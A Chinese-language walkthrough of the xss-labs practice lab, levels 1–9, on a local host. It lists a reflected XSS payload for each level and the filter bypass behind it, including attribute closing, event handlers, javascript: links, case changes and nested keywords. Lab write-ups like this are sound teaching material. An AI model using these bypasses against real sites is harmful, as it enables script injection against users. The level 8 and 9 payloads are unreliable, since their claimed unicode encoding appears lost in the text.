xss-labs level 1-9 解题过程
level 1
过程
网页中并没有输入框,观察URL发现name=test
,尝试在此进行注入
http://127.0.0.1:82/level1.php?name=<script>alert(1)</script>
过关
payload
<script>alert(1)</script>
level 2
过程
输入框先尝试输入<script>alert(1)</script>
无反应
观察源码:
<input name=keyword value="<script>alert(1)</script>">
发现需要闭合,输入"><script>alert(1)</script><"
过关
payload
"><script>alert(1)</script><"
level 3
过程
一样先尝试<script>alert(1)</script>
观察源码:
<input name=keyword value='<script>alert(1)</script>'>
发现<
与>
被转义了,无法构造标签,于是改变思路,在源码中的input
元素中使用onclick
参数来达到点击弹窗的效果:
onclick='alert(1)'
同样需要进行闭合
payload
' onclick='alert(1)
level 4
过程
与上一关相似,只在闭合上有所区别,是双引号闭合
payload
" onclick="alert(1)
level 5
过程
尝试后发现on
事件与<script>
标签都被过滤
但<>
符号没被过滤,于是尝试换标签,尝试后发现:
<a href="javascript:alert(1)">click</a>
成功
payload
"><a href="javascript:alert(1)">click</a><
leval 6
过程
上题中的href
属性也被过滤,但再一试,发现并没有过滤大小写
payload
"><a Href="javascript:alert(1)">click</a><
leval 7
过程
这次对文本的过滤是直接删除,于是可以进行嵌套
比如scrscriptipt
,这样过滤后就成为了所需的script
payload
"><scrscriptipt>alert(1)</scrscriptipt><"
leval 8
过程
看源码发现输入被放在了href属性里:
</center><center><BR><a href="http://www.baidu.com">友情链接</a></center><center><img src=level8.jpg></center>
所以第一时间想到用javascript:alert(1)
但是script
被文本过滤了,于是采用unicode编码
payload
javascript :alert(1)
leval 9
过程
真不会了,搜了题解发现payload中要包含http://
,可以利用//
注释
payload
javascript :alert(1) //http://